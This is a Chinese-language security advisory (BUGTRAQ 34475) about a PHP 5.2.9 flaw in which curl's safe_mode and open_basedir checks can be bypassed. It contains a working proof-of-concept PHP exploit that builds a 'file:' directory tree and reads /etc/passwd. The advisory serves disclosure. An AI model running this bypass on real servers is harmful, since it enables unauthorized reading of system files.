BUGTRAQ ID: 34475
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP支持libcurl库,用户可以使用各种类型的协议连接到不同类型的服务器。curl函数在检查safe_mode和open_basedir限制时存在漏洞,可能允许用户绕过安全限制执行非授权操作。例如对于以下代码:
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");
curl首先对以下内容检查safe_mode和open_basedir:
"file:////etc/passwd"
接下来读取:
"file:////etc/passwd"
如果恶意用户创建了类似于以下的虚拟树:
./file:/
./file:/etc/
./file:/etc/passwd/
/etc/hosts示例:
./file:/
./file:/etc/
./file:/etc/hosts/
创建特殊的子目录就可以以其他用户权限执行文件。
- ---EXAMPLE-EXPLOIT---
mkDIR("file:");
chdir("file:");
mkDIR("etc");
chdir("etc");
mkDIR("passwd");
chdir("..");
chdir("..");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
- ---EXAMPLE-EXPLOIT---
PHP 5.2.9
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
<a href=http://www.php.net target=_blank rel=external nofollow>http://www.php.net</a>
暂无评论